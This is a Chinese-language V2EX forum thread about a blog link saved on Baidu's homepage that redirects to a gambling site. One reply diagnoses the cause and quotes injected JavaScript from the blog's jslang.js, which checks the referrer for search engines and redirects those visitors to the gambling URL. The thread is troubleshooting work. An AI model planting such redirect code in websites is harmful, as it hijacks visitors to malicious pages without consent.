TwoBall

百度首页 [我的关注] 保存的网址被劫持

  •  
  •   TwoBall · Jul 12, 2021 · 2456 views
    This topic created in 1955 days ago, the information mentioned may be changed or developed.
    添加的百度首页-我的关注的特定网址,打开被劫持到 https://www.899375.com/1/index.html
    网站是苹果 fans 博客 https://www.mac52ipod.cn/
    经测试电信宽带,联通热点均可复现
    这种应该怎么排查?
    7 replies  •  2021-07-13 23:02:18 +08:00
    TwoBall
    TwoBall
    OP
    Jul 12, 2021
    1
    Shing
    Shing
    Jul 12, 2021
    2
    为了测试你这个,我特意注册了百度帐号

    测试结果:没发现有劫持。

    是不是这个博客本身就 dns 污染被劫持呢?跟百度应该没多大关系吧?
    hellhyzcy66
    hellhyzcy66
    Jul 12, 2021 via iPhone
    3
    我宁愿相信是百度干的,资本家
    TwoBall
    TwoBall
    OP
    Jul 13, 2021
    4
    @Shing 奇怪的就是我在百度首页点击这个网址,跳转到博彩网站。在 V2EX 本页点击就能打开

    @hellhyzcy66 我觉得你说的对
    nuk
    nuk
    Jul 13, 2021
    5
    确实是网页做了劫持
    https://www.mac52ipod.cn/lang/zh-cn/jslang.js?jsver=2.1.2.0312.0
    里面这样
    document.writeln("<script LANGUAGE=\"Javascript\">");
    document.writeln("var s=document.referrer");
    document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
    document.writeln("location.href=\"https://www.899375.com/1/index.html\";");
    document.writeln("</script>");document.writeln("<script LANGUAGE=\"Javascript\">");
    document.writeln("var s=document.referrer");
    document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
    document.writeln("location.href=\"https://www.899375.com/1/index.html\";");
    document.writeln("</script>");
    TwoBall
    TwoBall
    OP
    Jul 13, 2021
    6
    @nuk #5 强
    jeffson
    jeffson
    Jul 13, 2021
    7
    学习了
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   2565 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 10:42 · PVG 18:42 · LAX 02:42 · JFK 05:42
    ♥ Do have faith in what you're doing.